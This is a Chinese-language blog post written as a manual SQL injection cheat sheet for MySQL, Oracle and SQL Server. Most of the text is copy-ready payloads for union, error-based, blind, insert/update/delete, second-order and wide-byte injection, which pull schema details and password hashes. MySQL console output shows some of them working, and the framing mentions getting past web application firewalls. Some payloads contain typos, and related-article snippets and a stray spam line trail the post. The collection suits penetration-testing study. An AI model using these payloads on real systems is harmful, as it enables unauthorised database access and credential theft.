<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SQL手工注入總結

    VSole2021-11-11 08:19:35

    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!

    0x01 Mysql 手工注入

    1.1 聯合注入

    ?id=1' order by 4--+
    ?id=0' union select 1,2,3,database()--+
    ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
    #group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name
    
    ?id=0' union select 1,2,3,group_concat(password) from users --+
    #group_concat 可替換為 concat_ws(',',id,users,password )
    
    ?id=0' union select 1,2,3,password from users limit 0,1--+
    

    1.2 報錯注入

    1.floor()
    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    
    2.extractvalue()
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    
    3.updatexml()
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
    
    4.geometrycollection()
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    
    5.multipoint()
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    
    6.polygon()
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    
    7.multipolygon()
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    
    8.linestring()
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    
    9.multilinestring()
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    
    10.exp()
    select * from test where id=1 and exp(~(select * from(select user())a));
    

    每個一個報錯語句都有它的原理:

    exp() 報錯的原理:exp 是一個數學函數,取e的x次方,當我們輸入的值大于709就會報錯,然后 ~ 取反它的值總會大于709,所以報錯。

    updatexml() 報錯的原理:由于 updatexml 的第二個參數需要 Xpath 格式的字符串,以 ~ 開頭的內容不是 xml 格式的語法,concat() 函數為字符串連接函數顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。

    爆庫:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
    爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
    爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
    爆數據:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
    
    #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
    

    這里需要注意的是它加了連接字符,導致數據中的 md5 只能爆出 31 位,這里可以用分割函數分割出來:

    substr(string string,num start,num length);
    #string為字符串,start為起始位置,length為長度
    
    ?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
    

    1.3 盲注

    1.3.1 時間盲注

    時間盲注也叫延時注入 一般用到函數 sleep() BENCHMARK() 還可以使用笛卡爾積(盡量不要使用,內容太多會很慢很慢)

    一般時間盲注我們還需要使用條件判斷函數

    #if(expre1,expre2,expre3)
    當 expre1 為 true 時,返回 expre2,false 時,返回 expre3
    
    #盲注的同時也配合著 mysql 提供的分割函
    substr、substring、left
    

    我們一般喜歡把分割的函數編碼一下,當然不編碼也行,編碼的好處就是可以不用引號,常用到的就有 ascii() hex() 等等

    ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
    ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
    
    

    1.3.2 布爾盲注

    ?id=1' and substr((select user()),1,1)='r' -- +
    ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
    #如果 IFNULL 第一個參數的表達式為 NULL,則返回第二個參數的備用值,不為 Null 則輸出值
    
    ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
    #若所有的字符串均相同,STRCMP() 返回 0,若根據當前分類次序,第一個參數小于第二個,則返回 -1 ,其它情況返回 1
    

    1.4 insert,delete,update

    insert,delete,update 主要是用到盲注和報錯注入,此類注入點不建議使用 sqlmap 等工具,會造成大量垃圾數據,一般這種注入會出現在 注冊、ip頭、留言板等等需要寫入數據的地方,同時這種注入不報錯一般較難發現,我們可以嘗試性插入、引號、雙引號、轉義符 \ 讓語句不能正常執行,然后如果插入失敗,更新失敗,然后深入測試確定是否存在注入

    1.4.1 報錯

    mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
    Query OK, 1 row affected (0.00 sec)
    
    mysql> select * from admin;
    +------+-----------------------------------------------+----------+
    | id   | username                                      | password |
    +------+-----------------------------------------------+----------+
    |    1 | admin                                         | admin    |
    |    1 | and 1=1                                       | admin    |
    |    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
    +------+-----------------------------------------------+----------+
    3 rows in set (0.00 sec)
    
    mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
    ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
    
    #delete 注入很危險,很危險,很危險,切記不能使用 or 1=1 ,or 右邊一定要為false
    mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
    ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
    

    1.4.2 盲注

    #int型 可以使用 運算符 比如 加減乘除 and or 異或 移位等等
    mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
    Query OK, 1 row affected (5.00 sec)
    
    mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
    Query OK, 1 row affected (0.00 sec)
    
    #字符型注意閉合不能使用and
    mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
    Query OK, 1 row affected (0.00 sec)
    
    mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
    Query OK, 1 row affected (5.01 sec)
    
    # delete 函數 or 右邊一定要為 false
    mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
    Query OK, 0 rows affected (5.00 sec)
    
    #update 更新數據內容
    mysql> select * from admin;
    +------+----------+----------+
    | id   | username | password |
    +------+----------+----------+
    |    2 | 1        | admin    |
    |    2 | 1        | admin    |
    |    2 | 1        | admin    |
    |    2 | admin    | admin    |
    +------+----------+----------+
    4 rows in set (0.00 sec)
    
    mysql> update admin set id="5"+sleep(5)+"" where id=2;
    Query OK, 4 rows affected (20.00 sec)
    Rows matched: 4  Changed: 4  Warnings: 0
    

    1.5 二次注入與寬字節注入

    二次注入的語句:在沒有被單引號包裹的sql語句下,我們可以用16進制編碼他,這樣就不會帶有單引號等。

    mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
    Query OK, 1 row affected (0.00 sec)
    
    mysql> select * from admin;
    +----+-----------+-------+
    | id | name      | pass  |
    +----+-----------+-------+
    |  1 | admin     | admin |
    |  2 | admin'111 | 11111 |
    |  3 | admin'--+ | 11    |
    +----+-----------+-------+
    4 rows in set (0.00 sec)
    

    二次注入在沒有源碼的情況比較難發現,通常見于注冊,登錄惡意賬戶后,數據庫可能會因為惡意賬戶名的問題,將 admin'--+ 誤認為 admin 賬戶

    寬字節注入:針對目標做了一定的防護,單引號轉變為 \' , mysql 會將 \ 編碼為 %5c ,寬字節中兩個字節代表一個漢字,所以把 %df 加上 %5c 就變成了一個漢字“運”,使用這種方法成功繞過轉義,就是所謂的寬字節注入

    id=-1%df' union select...
    
    #沒使用寬字節
    %27 -> %5C%27
    
    #使用寬字節
    %df%27 -> %df%5c%27 -> 運'
    

    0x02 Oracle 手工注入

    2.1 聯合注入

    ?id=-1' union select user,null from dual--
    ?id=-1' union select version,null from v$instance--
    ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
    ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
    ?id=-1' union select username,passwd from users--
    ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
    

    2.2 報錯注入

    ?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
    ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
    

    2.3 盲注

    2.3.1 布爾盲注

    既然是盲注,那么肯定涉及到條件判斷語句,Oracle除了使用IF the else end if這種復雜的,還可以使用 decode() 函數。

    語法:decode(條件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

    該函數的含義如下:

    IF 條件=值1 THEN
        RETURN(返回值1)
    ELSIF 條件=值2 THEN
        RETURN(返回值2)
        ......
    ELSIF 條件=值n THEN
        RETURN(返回值n)
    ELSE
        RETURN(缺省值)
    END IF
    

    ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
    ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
    ?id=1' and ascii(substr(user,1,1))> 64--  #二分法
    

    2.3.2 時間盲注

    可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)函數進行時間盲注,這個函數可以指定延遲的時間

    ?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
    ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
    

    0x03 SQL server 手工注入

    3.1 聯合注入

    ?id=-1' union select null,null--
    ?id=-1' union select @@servername, @@version--
    ?id=-1' union select db_name(),suser_sname()--
    ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
    ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
    ?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
    ?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
    ?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
    

    3.2 報錯注入

    ?id=1' and 1=(select 1/@@servername)--
    ?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
    

    3.3 盲注

    3.3.1 布爾盲注

    ?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
    

    3.3.2 時間盲注

    ?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay
    
    mysql update語句substr
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關注一波,謝謝各位師傅感謝ch1e師傅幫忙總結ch1e‘blog:https://ch1e.gitee.io
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    SQL注入思路總結
    2022-07-23 22:28:37
    數據庫被惡意操作:數據庫服務器被攻擊,數據庫管理員賬戶被篡改。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。可能是其他SQL語句 例如insert、update等。需要進行靈活判斷。二次注入在sqilab中第24關可以通過二次注入,重置admin密碼。
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。這只是一個簡單的總結,只是簡單的為新手分享一下SQL注入,文中內容可能會存在錯誤,望大佬們手下留情!0x01 Mysql 手工注入1.1 聯合注入?id=0' union select 1,2,3,group_concat from users --+#group_concat 可替換為 concat_ws
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类